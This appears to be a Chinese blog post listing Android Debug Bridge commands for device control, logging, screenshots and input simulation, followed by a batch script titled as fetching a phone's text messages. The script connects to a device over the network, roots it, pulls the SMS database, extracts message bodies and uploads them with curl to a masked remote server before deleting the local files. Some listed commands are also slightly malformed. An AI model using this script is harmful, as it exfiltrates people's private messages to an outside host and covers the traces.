ADB(Android Debug Bridge)小结


//关闭ADB

adb kill-server

// 启动ADB
adb start-server

// 查看已连接 adb 的设备列表
adb devices

// 远程调试
adb connect 192.168.43.1

// 获取权限
adb root

// 获取设备的状态
adb get-state

// 打印 Android 的系统日志
adb logcat

// 手机屏幕保存到SDCard
adb shell /system/bin/screencap -p /sdcard/screenshot.png

// 屏幕图片保存到电脑
adb pull /sdcard/screenshot.png .

// 强制安装
adb install -r adbWireless_12.apk

// 卸载 APK
adb uninstall *.apk

// 重启手机
adb reboot

// 进入shell环境
adb shell

// 修改文件权限,要先进入 shell 环境
chmod 0755 [手机端文件路径]

// 重启手机进入 Recovery
adb reboot recovery

// 重启手机进入 Bootloader
adb reboot bootloader

// 将手机上的运行日志导出为 txt 文件
adb logcat > log.txt

// 将设备改为可读可写
adb remount

// 新增的录制命令执行命令后操作手机,ctrl + c 结束录制,录制结果保存至 sdcard
adb shell screenrecord sdcard/record.mp4

// 模拟输入文本信息(前提先将键盘设置为英文键盘)
adb input text HelloWorld

// 模拟物理按键操作
adb input keyevent KEYCODE_VOLUME_DOWN

// 模拟点击操作
adb input tap 500 500

// 模拟滑动操作
adb input swipe 200 500 400 500

// 模拟长按操作(x1 y1 x2 y2 毫米)
adb input swipe 200 200 200 200 1000

// 启动默认浏览器打开一个网页
adb shell am start -a android.intent.action.VIEW -d http://litry.cn Starting: Intent { act=android.intent.action.VIEW dat=http://litry.cn }

// 启动拨号器拨打 10086
adb shell am start -a android.intent.action.CALL -d tel:10086 Starting: Intent { act=android.intent.action.CALL dat=tel:xxxxx }

 

获取手机短信的bat脚本

@echo off
title SMS

ECHO 关闭ADB
adb kill-server

ECHO 启动ADB
adb start-server

ECHO 连接远程设备
adb connect 192.168.43.1

ECHO 获取权限
adb root

ECHO 将设备改为可读可写
adb remount

ECHO 导出mmssms.db
adb pull /data/data/com.android.providers.telephony/databases/mmssms.db .

ECHO 关闭ADB
adb kill-server

ECHO 导出短信
sqlite3 -csv mmssms.db "select _id,body from sms order by _id desc">sms.txt

ECHO 删除本地mmssms.db
ECHO del mmssms.db

ECHO 上传至服务器
curl -F "upfile=@sms.txt" http://***/sms

ECHO 删除短信
del sms.txt

PAUSE

 

posted @ 2018-01-27 22:34  LiTry  阅读(471)  评论(0编辑  收藏  举报